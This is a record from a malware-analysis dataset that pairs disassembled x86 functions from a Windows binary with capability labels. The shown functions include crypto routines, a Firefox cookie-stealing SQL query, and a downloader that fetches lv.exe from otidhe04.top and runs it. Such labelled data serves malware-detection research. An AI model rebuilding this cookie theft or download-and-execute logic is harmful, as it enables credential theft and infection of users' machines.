joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403912
Capabilities:
Enumerate files on windows
Query environment variable

Disassembly:
sub esp, 0x670
mov eax, dword [0x4c3014]
xor eax, esp
mov dword [esp + 0x668], eax
push ebx
push ebp
push esi
push 0x104
lea eax, [esp + 0x264]
mov ebx, ecx
push eax
push ebx
mov ebp, edx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0x4b04a0
lea eax, [esp + 0x264]
push eax
lea eax, [esp + 0x470]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x46c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4039e0
push 0x4b04a4
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4039c9
push 0x4b04a8
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4039c9
test byte [esp + 0x10], 0x10
je 0x4039c9
push ecx
lea eax, [esp + 0x40]
mov edx, ebx
push eax
mov ecx, ebp
call fcn.00402d83
pop ecx
pop ecx
test al, al
jne 0x4039c9
lea eax, [esp + 0x3c]
mov edx, ebx
push eax
mov ecx, ebp
call fcn.004033b8
pop ecx
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x403976
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x674]
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0047c71d
add esp, 0x670
ret
Function at 0x4043ef
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ecx
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0xc]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x2c]
mov dword [ecx], eax
mov eax, dword [esp + 0x24]
push edi
mov dword [esi], eax
mov ecx, dword [ecx]
cmp ecx, dword [esp + 0x20]
je 0x404553
mov eax, ecx
mov dword [esp + 0x28], eax
mov edx, dword [esp + 0x2c]
xor ebx, ebx
inc ebx
mov ebp, 0x3ff
mov ecx, eax
cmp dword [esi], edx
je 0x404553
mov edx, dword [esp + 0x18]
movzx ecx, word [eax]
mov eax, ecx
mov byte [esp + 0x30], 0
movzx edx, word [edx]
cmp bx, dx
jae 0x404474
lea eax, [ecx + 0x2400]
cmp ax, bp
ja 0x404564
mov eax, edx
lea ebx, [ecx - 0xdc00]
shl eax, 0xa
or ebx, eax
mov cl, byte [esp + 0x30]
cmp ebx, 0x80
jae 0x404492
mov dl, bl
xor edi, edi
jmp 0x4044c2
mov ebx, eax
lea eax, [ecx + 0x2800]
cmp ax, bp
ja 0x404462
add ebx, 0xffff2840
mov cl, 1
shl ebx, 0xa
mov byte [esp + 0x30], cl
jmp 0x404466
mov edx, ebx
cmp ebx, 0x800
jae 0x4044a7
shr edx, 6
xor edi, edi
or dl, 0xc0
inc edi
jmp 0x4044c2
cmp ebx, 0x10000
jae 0x4044b9
shr edx, 0xc
or dl, 0xe0
push 2
jmp 0x4044c1
shr edx, 0x12
or dl, 0xf0
push 3
pop edi
movzx eax, cl
mov ecx, dword [esp + 0x28]
xor eax, 1
add eax, eax
cmp edi, 3
cmovb eax, edi
mov dword [esp + 0x10], eax
lea ebp, [eax + 1]
mov eax, dword [esp + 0x2c]
sub eax, dword [esi]
cmp eax, ebp
jl 0x404553
mov eax, ecx
mov ecx, dword [esp + 0x24]
add eax, 2
cmp byte [esp + 0x30], 0
mov dword [ecx], eax
jne 0x4044fc
cmp edi, 3
jae 0x404506
mov eax, dword [esi]
mov ebp, dword [esp + 0x10]
mov byte [eax], dl
inc dword [esi]
test ebp, ebp
je 0x404525
imul ecx, edi, 6
mov eax, dword [esi]
sub ecx, 6
mov edx, ebx
dec ebp
shr edx, cl
and dl, 0x3f
or dl, 0x80
mov byte [eax], dl
inc dword [esi]
test ebp, ebp
jg 0x40450d
xor ecx, ecx
shr ebx, 0xa
inc ecx
movzx eax, bx
cmp byte [esp + 0x30], 0
cmovne ecx, eax
mov eax, dword [esp + 0x18]
mov word [eax], cx
mov eax, dword [esp + 0x24]
mov ecx, dword [eax]
mov eax, ecx
mov dword [esp + 0x28], eax
cmp ecx, dword [esp + 0x20]
jne 0x40441a
xor eax, eax
cmp dword [esp + 0x1c], ecx
sete al
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0x1c
push 2
pop eax
jmp 0x40455c
Function at 0x406cd5
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov ebx, ecx
lea ecx, [edx + 3]
push 8
pop edi
sub edx, ebx
mov ebp, edi
lea esi, [ebx + 1]
mov al, byte [ecx - 3]
mov byte [esi - 1], al
mov al, byte [edx + esi]
mov byte [esi], al
lea esi, [esi + 4]
mov al, byte [ecx - 1]
mov byte [esi - 3], al
mov al, byte [ecx]
add ecx, 4
mov byte [esi - 2], al
sub ebp, 1
jne 0x406ce9
lea edx, [ebx + 0x1d]
mov cl, byte [edx + 1]
mov esi, edi
mov ch, byte [edx + 2]
mov bl, byte [edx - 1]
mov bh, byte [edx]
mov byte [esp + 0x12], cl
mov byte [esp + 0x13], ch
and esi, 7
jne 0x406d6a
movzx eax, byte [esp + 0x12]
movzx ecx, bh
mov bh, byte [eax + str.cw]
movzx eax, byte [esp + 0x13]
mov al, byte [eax + str.cw]
mov byte [esp + 0x12], al
movzx eax, bl
mov al, byte [eax + str.cw]
mov byte [esp + 0x13], al
mov eax, edi
shr eax, 3
mov bl, byte [eax + 0x4b0af8]
xor bl, byte [ecx + str.cw]
mov cl, byte [esp + 0x12]
mov ch, byte [esp + 0x13]
cmp esi, 4
jne 0x406d93
movzx eax, bl
mov bl, byte [eax + str.cw]
movzx eax, bh
mov bh, byte [eax + str.cw]
movzx eax, cl
mov cl, byte [eax + str.cw]
movzx eax, ch
mov ch, byte [eax + str.cw]
mov al, byte [edx - 0x1d]
xor al, bl
mov byte [edx + 3], al
mov al, byte [edx - 0x1c]
xor al, bh
mov byte [edx + 4], al
mov al, byte [edx - 0x1b]
xor al, cl
mov byte [edx + 5], al
mov al, byte [edx - 0x1a]
xor al, ch
inc edi
mov byte [edx + 6], al
add edx, 4
cmp edi, 0x3c
jb 0x406d0d
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x406dc6
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
movzx ecx, cl
shl ecx, 4
add ecx, dword [esp + 0xc]
push 4
pop edi
push 4
pop esi
mov al, byte [ecx]
xor byte [edx], al
inc ecx
inc edx
sub esi, 1
jne 0x406dd8
sub edi, 1
jne 0x406dd5
pop edi
pop esi
ret
Function at 0x4078c6
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
sub esp, 0x128
mov eax, dword [0x4c3014]
xor eax, esp
mov dword [esp + 0x124], eax
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov edi, ecx
mov dword [esp + 0x30], edi
mov esi, ebx
add edx, 2
movzx ecx, byte [edx - 2]
movzx eax, byte [edx - 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx]
shl ecx, 8
lea edx, [edx + 4]
or ecx, eax
movzx eax, byte [edx - 3]
shl ecx, 8
or ecx, eax
mov dword [esp + esi*4 + 0x34], ecx
inc esi
cmp esi, 0x10
jb 0x4078eb
push 0x40
pop ebp
cmp esi, ebp
jae 0x40795f
lea ebx, [esp + esi*4 + 0x2c]
sub ebp, esi
mov ecx, dword [ebx - 0x34]
mov esi, ecx
mov edx, dword [ebx]
mov eax, ecx
rol esi, 0xe
lea ebx, [ebx + 4]
ror eax, 7
xor esi, eax
shr ecx, 3
xor esi, ecx
mov eax, edx
mov ecx, edx
rol eax, 0xd
rol ecx, 0xf
xor ecx, eax
shr edx, 0xa
xor ecx, edx
add esi, ecx
add esi, dword [ebx - 0x3c]
add esi, dword [ebx - 0x18]
mov dword [ebx + 4], esi
sub ebp, 1
jne 0x407923
xor ebx, ebx
mov eax, dword [edi + 8]
mov ebp, eax
mov ecx, dword [edi + 0xc]
mov edx, dword [edi + 0x20]
mov dword [esp + 0x2c], eax
mov eax, dword [edi + 0x10]
mov dword [esp + 0x10], eax
mov eax, dword [edi + 0x14]
mov dword [esp + 0x20], eax
mov eax, dword [edi + 0x18]
mov dword [esp + 0x24], eax
mov eax, dword [edi + 0x1c]
mov dword [esp + 0x14], eax
mov eax, dword [edi + 0x24]
mov edi, dword [esp + 0x24]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], edx
mov dword [esp + 0x28], eax
jmp 0x4079a3
mov edx, dword [esp + 0x18]
mov esi, edi
mov eax, edi
rol eax, 7
or ecx, ebp
and ecx, dword [esp + 0x10]
ror esi, 0xb
xor esi, eax
mov eax, edi
ror eax, 6
xor esi, eax
mov eax, edx
xor eax, dword [esp + 0x14]
and eax, edi
xor eax, edx
mov edx, ebp
add esi, eax
ror edx, 0xd
add esi, dword [ebx + 0x4b1b08]
mov eax, ebp
add esi, dword [esp + ebx + 0x34]
add ebx, 4
add esi, dword [esp + 0x28]
rol eax, 0xa
xor edx, eax
mov eax, ebp
ror eax, 2
xor edx, eax
mov eax, dword [esp + 0x1c]
and eax, ebp
or ecx, eax
mov eax, dword [esp + 0x14]
add edx, ecx
mov dword [esp + 0x14], edi
mov ecx, dword [esp + 0x18]
mov edi, dword [esp + 0x20]
mov dword [esp + 0x18], eax
add edi, esi
mov eax, dword [esp + 0x10]
mov dword [esp + 0x28], ecx
mov ecx, ebp
mov dword [esp + 0x20], eax
lea ebp, [edx + esi]
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x10], eax
mov dword [esp + 0x1c], ecx
cmp ebx, 0x100
jb 0x40799f
mov eax, dword [esp + 0x2c]
mov edx, dword [esp + 0x28]
add eax, ebp
mov dword [esp + 0x24], edi
mov edi, dword [esp + 0x30]
add dword [edi + 0xc], ecx
mov ecx, dword [esp + 0x10]
add dword [edi + 0x10], ecx
mov ecx, dword [esp + 0x20]
add dword [edi + 0x14], ecx
mov ecx, dword [esp + 0x14]
add dword [edi + 0x1c], ecx
mov ecx, dword [esp + 0x18]
add dword [edi + 0x20], ecx
add dword [edi + 0x24], edx
mov ecx, dword [esp + 0x134]
mov dword [edi + 8], eax
mov eax, dword [esp + 0x24]
add dword [edi + 0x18], eax
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0047c71d
add esp, 0x128
ret
Function at 0x407a8c
Capabilities:
Hash data using sha256

Disassembly:
and dword [ecx], 0
and dword [ecx + 4], 0
mov dword [ecx + 8], 0x6a09e667
mov dword [ecx + 0xc], 0xbb67ae85
mov dword [ecx + 0x10], 0x3c6ef372
mov dword [ecx + 0x14], 0xa54ff53a
mov dword [ecx + 0x18], 0x510e527f
mov dword [ecx + 0x1c], 0x9b05688c
mov dword [ecx + 0x20], 0x1f83d9ab
mov dword [ecx + 0x24], 0x5be0cd19
ret

Function at 0x407acc
Capabilities:
Hash data using sha256

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov dword [esp + 0x10], edx
push 0x38
pop ebx
mov esi, dword [edi]
and esi, 0x3f
mov byte [esi + edi + 0x28], 0x80
inc esi
cmp esi, ebx
jbe 0x407b0b
push 0x40
pop eax
sub eax, esi
push eax
lea eax, [edi + 0x28]
add eax, esi
push 0
push eax
call fcn.0047ed30
add esp, 0xc
lea edx, [edi + 0x28]
mov ecx, edi
xor esi, esi
call fcn.004078c6
sub ebx, esi
lea eax, [edi + 0x28]
push ebx
add eax, esi
push 0
push eax
call fcn.0047ed30
mov ebx, dword [edi]
add esp, 0xc
mov edx, dword [edi + 4]
shld edx, ebx, 3
mov eax, edx
shl ebx, 3
shr eax, 0x18
mov ecx, ebx
mov byte [edi + 0x60], al
mov eax, edx
shr eax, 0x10
mov byte [edi + 0x61], al
mov eax, edx
shr eax, 8
mov byte [edi + 0x62], al
mov eax, edx
shrd ecx, eax, 0x18
mov dword [edi + 4], edx
mov byte [edi + 0x64], cl
mov ecx, ebx
shrd ecx, eax, 0x10
mov dword [edi], ebx
mov al, byte [edi]
mov byte [edi + 0x63], dl
shrd ebx, edx, 8
mov byte [edi + 0x65], cl
lea edx, [edi + 0x28]
mov ecx, edi
mov byte [edi + 0x66], bl
mov byte [edi + 0x67], al
call fcn.004078c6
mov edx, dword [esp + 0x10]
lea ecx, [edi + 8]
push 8
add edx, 2
pop esi
mov al, byte [ecx + 3]
mov byte [edx - 2], al
mov al, byte [ecx + 2]
mov byte [edx - 1], al
mov eax, dword [ecx]
shr eax, 8
mov byte [edx], al
lea edx, [edx + 4]
mov al, byte [ecx]
lea ecx, [ecx + 4]
mov byte [edx - 3], al
sub esi, 1
jne 0x407b81
mov ecx, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 4
jmp fcn.00407a8c

Function at 0x407c38
Capabilities:
Encode data using xor

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov ebx, ecx
xor ebp, ebp
push 5
pop ecx
push 0x2c
mov esi, edx
lea eax, [ebx + 0x14]
mov edi, ebx
push ebp
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.0047ed30
add esp, 0xc
mov eax, ebp
movups xmm0, xmmword [eax + ebx]
movaps xmm1, xmmword [str.jjjjjjjjjjjjjjjj]
pxor xmm1, xmm0
movups xmmword [eax + ebx], xmm1
add eax, 0x10
cmp eax, 0x40
jb 0x407c5b
lea eax, [ebx + 0x80]
mov ecx, eax
call fcn.00407a8c
push 0x40
mov edx, ebx
call fcn.00407bb2
pop ecx
lea eax, [ebx + 0x80]
lea edx, [eax + 8]
push 8
lea edi, [ebx + 0x60]
mov dword [esp + 0x14], edx
pop ecx
mov esi, edx
rep movsd dword es:[edi], dword [esi]
movups xmm0, xmmword [ebx + ebp]
movaps xmm1, xmmword [0x4bc770]
pxor xmm1, xmm0
movups xmmword [ebx + ebp], xmm1
add ebp, 0x10
cmp ebp, 0x40
jb 0x407ca4
mov ecx, eax
call fcn.00407a8c
push 0x40
mov edx, ebx
call fcn.00407bb2
mov esi, dword [esp + 0x14]
lea edi, [ebx + 0x40]
pop ecx
push 8
pop ecx
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x407eb6
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
sub esp, 0xd4
mov eax, dword [0x4c3014]
xor eax, esp
mov dword [esp + 0xd0], eax
mov eax, dword [esp + 0xe0]
push ebp
mov dword [esp + 4], eax
lea eax, [edx + 0x40]
push esi
mov esi, dword [esp + 0xe0]
push eax
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], eax
call fcn.00484ab0
mov ebp, eax
pop ecx
test ebp, ebp
je 0x407fd7
push ebx
push edi
push 0x40
lea eax, [esp + 0x24]
push 0x36
push eax
call fcn.0047ed30
push 0x40
lea eax, [esp + 0xb0]
push 0x5c
push eax
call fcn.0047ed30
push 0x40
xor ebx, ebx
lea eax, [esp + 0x7c]
push ebx
push eax
call fcn.0047ed30
add esp, 0x24
lea edi, [esp + 0x60]
mov eax, ebx
push 5
pop ecx
rep movsd dword es:[edi], dword [esi]
movups xmm0, xmmword [esp + eax + 0x20]
movups xmm1, xmmword [esp + eax + 0x60]
pxor xmm1, xmm0
movups xmmword [esp + eax + 0x20], xmm1
add eax, 0x10
cmp eax, 0x40
jb 0x407f3c
push 0x10
pop ecx
push dword [esp + 0x14]
lea eax, [ebp + 0x40]
mov edi, ebp
push dword [esp + 0x1c]
lea esi, [esp + 0x28]
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.0047e230
push dword [esp + 0x1c]
mov edx, dword [esp + 0x2c]
mov ecx, ebp
call fcn.00407e60
add esp, 0x10
movups xmm0, xmmword [esp + ebx + 0xa0]
movups xmm1, xmmword [esp + ebx + 0x60]
pxor xmm1, xmm0
movups xmmword [esp + ebx + 0xa0], xmm1
add ebx, 0x10
cmp ebx, 0x40
jb 0x407f85
mov eax, dword [esp + 0x10]
lea esi, [esp + 0xa0]
push 0x10
pop ecx
push 5
mov edi, ebp
rep movsd dword es:[edi], dword [esi]
pop ecx
push eax
mov esi, eax
lea edi, [ebp + 0x40]
rep movsd dword es:[edi], dword [esi]
push 0x54
pop edx
mov ecx, ebp
call fcn.00407e60
push ebp
call fcn.00484888
pop ecx
pop ecx
pop edi
pop ebx
mov ecx, dword [esp + 0xd8]
pop esi
pop ebp
xor ecx, esp
call fcn.0047c71d
add esp, 0xd4
ret
Function at 0x4090af
Capabilities:
Gather firefox profile information

Disassembly:
push 0xe4
mov eax, 0x4a166d
call fcn.0047ce8e
mov esi, edx
lea eax, [ebp - 0x30]
push eax
push ecx
call fcn.00461af2
pop ecx
pop ecx
test eax, eax
jne 0x409294
mov ecx, dword [ebp - 0x30]
lea eax, [ebp - 0x2c]
xor ebx, ebx
mov edx, str.SELECT_host__path__isSecure__expiry__name__value_FROM_moz_cookies
push ebx
push eax
push ebx
push 1
push 0xffffffffffffffff
call fcn.0044bce5
add esp, 0x14
test eax, eax
jne 0x40928a
push dword [ebp - 0x2c]
call fcn.0042d1f3
pop ecx
cmp eax, 0x64
jne 0x409281
lea eax, [esi + 0x10]
mov dword [ebp - 0x40], eax
push ecx
push ecx
lea ecx, [ebp - 0xf0]
call fcn.004041e9
mov dword [ebp - 4], ebx
push ebx
push dword [ebp - 0x2c]
call fcn.0042d672
push 1
push dword [ebp - 0x2c]
mov edi, eax
call fcn.0042d672
push 2
push dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
call fcn.0042d624
test eax, eax
mov edx, str.FALSE
mov ecx, str.TRUE
push 3
push dword [ebp - 0x2c]
cmove ecx, edx
mov dword [ebp - 0x38], ecx
call fcn.0042d624
push 4
push dword [ebp - 0x2c]
mov esi, eax
call fcn.0042d672
push 5
push dword [ebp - 0x2c]
mov ebx, eax
call fcn.0042d672
add esp, 0x30
mov dword [ebp - 0x3c], eax
mov edx, esi
lea ecx, [ebp - 0x28]
call fcn.0040123b
mov esi, eax
mov edx, edi
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xe0]
call fcn.00405492
mov edx, str._tTRUE_t
mov ecx, eax
call fcn.00405492
mov edx, dword [ebp - 0x34]
mov ecx, eax
call fcn.00405492
mov edi, 0x4b0298
mov ecx, eax
mov edx, edi
call fcn.00405492
mov edx, dword [ebp - 0x38]
mov ecx, eax
call fcn.00405492
mov edx, edi
mov ecx, eax
call fcn.00405492
mov edx, esi
mov ecx, eax
call fcn.00405619
mov edx, edi
mov ecx, eax
call fcn.00405492
mov edx, ebx
mov ecx, eax
call fcn.00405492
mov edx, edi
mov ecx, eax
call fcn.00405492
mov edx, dword [ebp - 0x3c]
mov ecx, eax
call fcn.00405492
mov edx, 0x4b0294
mov ecx, eax
call fcn.00405492
xor ebx, ebx
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], bl
call fcn.0040508d
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0xf0]
call fcn.00404140
mov ecx, dword [ebp - 0x40]
mov edx, eax
mov byte [ebp - 4], 2
call fcn.00405619
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], bl
call fcn.0040508d
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0xf0]
call fcn.00404140
push eax
mov byte [ebp - 4], 3
call fcn.00403aae
lea ecx, [ebp - 0x28]
call fcn.0040508d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf0]
call fcn.004024a2
push dword [ebp - 0x2c]
call fcn.0042d1f3
pop ecx
cmp eax, 0x64
je 0x409110
push dword [ebp - 0x2c]
call fcn.0042cb02
pop ecx
mov ecx, dword [ebp - 0x30]
xor edx, edx
call fcn.00460405
call fcn.0047ce49
ret
Function at 0x409d9e
Capabilities:
Enumerate files on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x668
mov eax, dword [0x4c3014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov ebx, 0x104
lea eax, [ebp - 0x418]
push ebx
push eax
push str._AppData_MozillaFirefoxProfiles
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0x4b04a0
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
lea eax, [ebp - 0x668]
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x409e87
push 0x4b04a4
lea eax, [ebp - 0x63c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x409e6e
push 0x4b04a8
lea eax, [ebp - 0x63c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x409e6e
test byte [ebp - 0x668], 0x10
je 0x409e6e
lea eax, [ebp - 0x63c]
push eax
lea eax, [ebp - 0x418]
push eax
push 0x4b5dc4
lea eax, [ebp - 0x210]
push ebx
push eax
call fcn.0040564d
add esp, 0x14
lea eax, [ebp - 0x63c]
lea ecx, [ebp - 0x210]
push eax
call fcn.0040929a
pop ecx
lea eax, [ebp - 0x668]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x409e03
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0047c71d
leave
ret

Function at 0x409e9f
Capabilities:
Hash data using sha1

Disassembly:
and dword [ecx + 0x14], 0
and dword [ecx + 0x18], 0
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
mov dword [ecx + 0x10], 0xc3d2e1f0
ret
Function at 0x40b7bd
Capabilities:
Connect to http server
Create http request
Download and write a file
Get http content length
Read data from internet
Receive and write data from server to client
Receive data
Send data
Send http request
Write file on windows

Disassembly:
sub esp, 0x14
push ebx
push edi
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
test edi, edi
jne 0x40b7dc
xor al, al
jmp 0x40b8d9
push ebp
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
push str.otidhe04.top
push edi
call dword [sym.imp.WININET.dll_InternetConnectW]
mov ebp, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [esp + 0x1c], eax
test eax, eax
je 0x40b8d3
push esi
push ebx
push 0x80000000
push ebx
push ebx
push ebx
push str._download.php_filelv.exe
push 0x4b5e40
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov esi, eax
test esi, esi
je 0x40b8cc
push ebx
push ebx
push ebx
push ebx
push esi
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], 4
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x40b8c9
push ebx
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x18]
push eax
push 0x20000005
push esi
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
je 0x40b8c9
push dword [esp + 0x10]
call fcn.00484ab0
mov dword [esp + 0x1c], eax
pop ecx
test eax, eax
je 0x40b8c9
lea ecx, [esp + 0x14]
push ecx
push dword [esp + 0x14]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
push ebx
push 0x80
push 2
push ebx
push 1
push 0x40000000
push dword [esp + 0x40]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0x1c], eax
cmp eax, 0xffffffff
je 0x40b8c7
push ebx
lea ecx, [esp + 0x18]
push ecx
push dword [esp + 0x18]
push dword [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, 1
push esi
call ebp
push dword [esp + 0x20]
call ebp
pop esi
push edi
call ebp
mov al, bl
pop ebp
pop edi
pop ebx
add esp, 0x14
ret

Function at 0x40b8df
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push 0x254
mov eax, 0x4a17c5
call fcn.0047ce8e
push 0xe
pop edx
push 0xa
pop ecx
call fcn.0040df4e
mov edx, eax
lea ecx, [ebp - 0x230]
call fcn.004105fe
lea eax, [ebp - 0x230]
xor esi, esi
push eax
lea ecx, [ebp - 0x260]
mov dword [ebp - 4], esi
call fcn.0040c0b7
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x248]
mov edx, eax
mov dword [esp], str..exe
call fcn.0040c112
pop ecx
cmp dword [eax + 0x14], 8
jb 0x40b93e
mov eax, dword [eax]
push 0x104
lea ecx, [ebp - 0x218]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x248]
call fcn.00404f32
lea ecx, [ebp - 0x260]
call fcn.00404f32
lea eax, [ebp - 0x218]
push eax
call fcn.0040b7bd
pop ecx
push esi
push esi
push esi
lea eax, [ebp - 0x218]
push eax
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x230]
call fcn.00404f32
call fcn.0047ce49
ret
Function at 0x40c39b
Capabilities:
Encode data using xor
Manually build aes constants

Disassembly:
sub esp, 0x804
mov eax, dword [0x4c3014]
xor eax, esp
mov dword [esp + 0x800], eax
push ebx
push ebp
xor ebp, ebp
push esi
inc ebp
xor esi, esi
push edi
mov edx, ebp
mov edi, esi
mov eax, edx
mov dword [esp + edi*4 + 0x410], edx
and al, 0x80
mov dword [esp + edx*4 + 0x10], edi
movzx ecx, al
lea eax, [edx + edx]
neg ecx
sbb ecx, ecx
and ecx, 0x1b
xor ecx, eax
xor ecx, edx
inc edi
movzx edx, cl
cmp edi, 0x100
jl 0x40c3bc
mov edi, ebp
mov edx, 0x4c6b88
mov eax, edi
mov dword [edx], edi
and al, 0x80
movzx ecx, al
lea eax, [edi + edi]
neg ecx
sbb ecx, ecx
add edx, 4
and ecx, 0x1b
xor ecx, eax
movzx edi, cl
cmp edx, 0x4c6bb0
jl 0x40c3ef
mov byte [0x4c6a88], 0x63
mov edi, ebp
mov ecx, dword [esp + edi*4 + 0x10]
lea eax, [esp + 0x80c]
shl ecx, 2
sub eax, ecx
mov edx, dword [eax]
mov ecx, edx
sar ecx, 7
lea eax, [edx + edx]
or ecx, eax
movzx eax, cl
xor edx, eax
mov ecx, eax
shr ecx, 7
add eax, eax
or ecx, eax
movzx eax, cl
mov ecx, eax
mov ebx, eax
shr ecx, 7
add eax, eax
or ecx, eax
xor ebx, edx
movzx edx, cl
mov ecx, edx
mov al, dl
shr ecx, 7
add al, al
or cl, al
xor cl, bl
mov ebx, 0x100
xor cl, dl
xor cl, 0x63
mov byte [edi + 0x4c6a88], cl
inc edi
cmp edi, ebx
jl 0x40c41b
movzx edx, byte [esi + 0x4c6a88]
mov eax, edx
and al, 0x80
movzx ecx, al
neg ecx
lea eax, [edx + edx]
sbb ecx, ecx
and ecx, 0x1b
xor ecx, eax
movzx eax, cl
mov ecx, eax
xor ecx, edx
shl ecx, 8
xor ecx, edx
shl ecx, 8
xor ecx, edx
shl ecx, 8
xor ecx, eax
mov dword [esi*4 + 0x4c77b8], ecx
rol ecx, 8
mov dword [esi*4 + 0x4c73b8], ecx
rol ecx, 8
mov dword [esi*4 + 0x4c6fb8], ecx
rol ecx, 8
mov dword [esi*4 + 0x4c6bb0], ecx
inc esi
cmp esi, ebx
jl 0x40c47a
mov ecx, dword [esp + 0x810]
pop edi
pop esi
mov dword [0x4c6fb0], ebp
pop ebp
pop ebx
xor ecx, esp
call fcn.0047c71d
add esp, 0x804
ret